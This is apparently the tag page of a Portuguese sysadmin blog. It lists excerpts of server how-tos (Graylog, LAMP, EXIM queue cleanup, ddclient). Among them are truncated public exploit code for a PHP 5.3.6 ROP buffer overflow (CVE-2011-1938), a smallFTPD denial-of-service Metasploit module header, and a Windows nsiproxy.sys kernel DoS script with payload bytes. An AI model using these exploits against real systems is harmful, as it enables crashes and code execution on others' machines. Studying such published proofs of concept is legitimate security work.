Browsed by
Tag: server

Instalando Graylog 2 no Debian 8

Instalando Graylog 2 no Debian 8

Nesse post veremos a instalação do Graylog 2. Mas o que é isso?! De forma resumida ele centraliza e armazena os logs da sua infraestrutura, possibilitando uma análise aprofundada, alarmes, notificações, histórico, gráficos e etc… isso tudo facilitando a sua vida ;) Vamos começar a instalação, o ambiente utilizado foi:

Começamos adicionado repositório Backports do Debian, atualizando e fazendo upgrade em seguida reinicie o sistema.:

E instalamos alguns pré-requisitos adicionais:

O Graylog também faz uso do Java…

Read More Read More

Como deletar emails de uma conta específica no EXIM

Como deletar emails de uma conta específica no EXIM

Olá pessoal, seguindo nossa série de dicas vamos postar neste instante uma dica simples para os sysadmins, mas que é muito útil quando precisamos limpar dados desnecessários na fila de emails (tornando outros emails lentos). Vamos lá, em primeira mão iremos simplificar o uso do comando com algumas informações:

Antes do pipe “|” percebemos que estamos pedindo os remetentes da fila de email, após o pipe estamos recebendo o argumento (email) e no último pipe estamos usando o xargs…

Read More Read More

Use of uninitialized value in string ne at /usr/sbin/ddclient line 1973.

Use of uninitialized value in string ne at /usr/sbin/ddclient line 1973.

Se você está usando DEBIAN-BASED (mind/debian/ubuntu) e toda vez que roda o comando ddclient ele apresenta erro SEUS PROBLEMAS “SE ACABARAM-SE”! Para sanar, como root faça o seguinte: rm -rf /var/cache/ddclient/ddclient.cache Depois rode o comando ddclient, a saída vai ser algo semelhante a: SUCCESS:  updating SEUHOST.ALGUMACOISAg: good: IP address set to IPDASUAINTERFACEWEB   Abraços galera

Como instalar Apache 2, Mysql 5 e php 5 no Mac Os X LION 10.7.x (testado 10.7.1)

Como instalar Apache 2, Mysql 5 e php 5 no Mac Os X LION 10.7.x (testado 10.7.1)

Este artigo vai parecer muito com a instalação do apache, php e mysql sob mac os x snow leopard, porém existem algumas particularidades que precisam ser detalhadas. Antemão parte do artigo do mamp sob snow leopard será copiado, depois, iremos detalhar pontos MUITO importantes para que tudo funcione corretamente. Estamos testando em um hackintosh LION (10.7.1), literalmente current (updates mais novas). Vamos lá: No outro artigo, para habilitarmos o apache usamos o comando com poder de root (sudo) para ativar…

Read More Read More

Como instalar php apache mysql phpmyadmin no Centos 6

Como instalar php apache mysql phpmyadmin no Centos 6

Olá pessoal, como vocês sabem somos fanáticos pelo ambiente LAMP e agora iremos colocar para vocês um how to simples porém funcional de como instalar o apache, mysql, php e phpmyadmin na plataforma CentOs 6. Vamos começar deixando tudo atualizado e corrigido: [root@appunixlabs ~]# yum clean all && yum update -y Agora vamos instalar o mysql: [root@appunixlabs ~]# yum install mysql mysql-server -y Devemos dar pemrissões para que o mysql (serviço) carregue no momento do boot: [root@appunixlabs ~]# chkconfig –levels…

Read More Read More

PHP 5.3.6 Buffer Overflow PoC (ROP) CVE-2011-1938

PHP 5.3.6 Buffer Overflow PoC (ROP) CVE-2011-1938

/* ** Jonathan Salwan – @shell_storm ** http://shell-storm.org ** 2011-06-04 ** ** http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1938 ** ** Stack-based buffer overflow in the socket_connect function in ext/sockets/sockets.c ** in PHP 5.3.3 through 5.3.6 might allow context-dependent attackers to execute arbitrary ** code via a long pathname for a UNIX socket. */ echo “[+] PHP 5.3.6 Buffer Overflow PoC (ROP)\n”; echo “[+] CVE-2011-1938\n\n”; # Gadgets in /usr/bin/php define(‘DUMMY’, “\x42\x42\x42\x42”); // padding define(‘STACK’, “\x20\xba\x74\x08”); // .data 0x46a0 0x874ba20 define(‘STACK4’, “\x24\xba\x74\x08”); // STACK + 4 define(‘STACK8’,…

Read More Read More

Smallftpd 1.0.3 FTP Server Denial of Service Vulnerability

Smallftpd 1.0.3 FTP Server Denial of Service Vulnerability

Exploit para dos no SmallFTPD: # Exploit Title: smallFTPD Connection Saturation Remote Denial of Service # Date: June 27, 2011 # Author: Myo Soe <YGN Ethical Hacker Group – http://yehg.net/> # Software Link: http://smallftpd.sf.net # Version: 1.0.3-fix and earlier # Tested on: windows xp, seven, 2k3 ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and…

Read More Read More

Lighttpd php5 mysql no Ubuntu 11.04

Lighttpd php5 mysql no Ubuntu 11.04

Lighttpd é verdadeiramente uma bala no que tange a containers web. Muitas pessoas gostam dele (segundo a mídia até o Youtube já amou esse negócio), por isso estaremos indo direto ao assunto, vamos instalar essa bala no Ubuntu 11.04? Temos que ter poder de root para fazer o negócio rodar (use sudo su ou su -, sendo su – melhor pois dá autoridade global): apt-get update && apt-get install mysql-server mysql-client -y Fazendo isto estaremos instalando o mysql server e…

Read More Read More

Ubuntu alert USN-1158-1 (curl) CURL vulnerabilidade

Ubuntu alert USN-1158-1 (curl) CURL vulnerabilidade

Ubuntu alert USN-1158-1 (curl)

Windows 2008 server exploit DOS

Windows 2008 server exploit DOS

#!/usr/bin/python ############################################################################ ## ## Title: Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Exploit ## Author: Lufeng Li of Neusoft Corporation ## Vendor: www.microsoft.com ## Vulnerable: Windows Vista/Server 2008 ## ############################################################################ from ctypes import * kernel32 = windll.kernel32 Psapi = windll.Psapi if __name__ == ‘__main__’: GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 CREATE_ALWAYS = 0x2 SYM_NAME = “\\\\.\\Nsi” dwReturn = c_ulong() out_buff = ” in_buff = (“\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00” “\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00” “\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00” “\x38\xfa\x78\x00\x0c\x00\x00\x00”) handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS,…

Read More Read More